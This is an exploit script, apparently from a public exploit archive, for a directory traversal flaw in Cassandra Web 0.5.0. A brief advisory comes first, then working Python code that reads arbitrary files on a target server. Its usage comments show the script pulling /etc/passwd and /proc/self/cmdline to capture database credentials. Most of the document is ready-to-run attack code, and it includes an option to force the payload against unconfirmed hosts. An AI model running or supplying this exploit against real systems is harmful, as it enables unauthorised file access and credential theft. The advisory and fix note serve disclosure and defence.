Cassandra Web is vulnerable to directory traversal due to the disabled Rack::Protection module. Apache Cassandra credentials are passed via the CLI in order for the server to auth to it and provide the web access, so they are also one thing that can be captured via the arbitrary file read. Version 0.5.0 is affected.
#!/usr/bin/python
# -*- coding: UTF-8 -*-
#
# cassmoney.py
#
# Cassandra Web 0.5.0 Remote File Read Exploit
#
# Jeremy Brown [jbrown3264/gmail]
# Dec 2020
#
# Cassandra Web is vulnerable to directory traversal due to the disabled
# Rack::Protection module. Apache Cassandra credentials are passed via the
# CLI in order for the server to auth to it and provide the web access, so
# they are also one thing that can be captured via the arbitrary file read.
#
# Usage
# > cassmoney.py 10.0.0.5 /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# bin:x:2:2:bin:/bin:/usr/sbin/nologin
# ...
#
# > cassmoney.py 10.0.0.5 /proc/self/cmdline
# /usr/bin/ruby2.7/usr/local/bin/cassandra-web--usernameadmin--passwordP@ssw0rd
#
# (these creds are for auth to the running apache cassandra database server)
#
# Fix
# - fixed in github repo
# - v0.6.0 / ruby-gems when available
# (still recommended to containerize / run this in some sandbox, apparmor, etc)
#
import os
import sys
import argparse
import requests
import urllib.parse
SIGNATURE = 'cassandra.js'
#
# /var/lib/gems/2.7.0/gems/cassandra-web-0.5.0/app/public
#
DT = '../'
DT_NUM = 8
class CassMoney(object):
def __init__(self, args):
self.target = args.target
self.file = args.file
self.port = args.port
self.force = args.force
self.number = args.number
def run(self):
target = "http://" + self.target + ':' + str(self.port)
payload = urllib.parse.quote_plus(DT * self.number + self.file)
try:
deskpop = requests.get(target)
except Exception as error:
print("Error: %s" % error)
return -1
if(SIGNATURE not in deskpop.text and self.force == False):
print("Target doesn't look like Cassandra Web, aborting...")
return -1
try:
req = requests.get(target + '/' + payload)
except:
print("Failed to read %s (perm denied likely)" % self.file)
return -1
if(SIGNATURE in req.text):
print("Failed to read %s (bad path?)" % self.file)
return -1
if(len(req.text) == 0):
print("Server returned nothing for some reason")
return 0
print("n%s" % req.text)
return 0
def arg_parse():
parser = argparse.ArgumentParser()
parser.add_argument("target",
type=str,
help="Cassandra Web Host")
parser.add_argument("file",
type=str,
help="eg. /etc/passwd, /proc/sched_debug + /proc/<cass-web-pid>/cmdline")
parser.add_argument("-p",
"--port",
type=int,
default=3000,
help="Cassandra Web Port")
parser.add_argument("-f",
"--force",
default=False,
action='store_true',
help="Run the payload even if server isn't Cassandra Web")
parser.add_argument("-n",
"--number",
type=int,
default=DT_NUM,
help="Adjust the number of dot-dot-slash")
args = parser.parse_args()
return args
def main():
args = arg_parse()
cm = CassMoney(args)
result = cm.run()
if(result > 0):
sys.exit(-1)
if(__name__ == '__main__'):
main()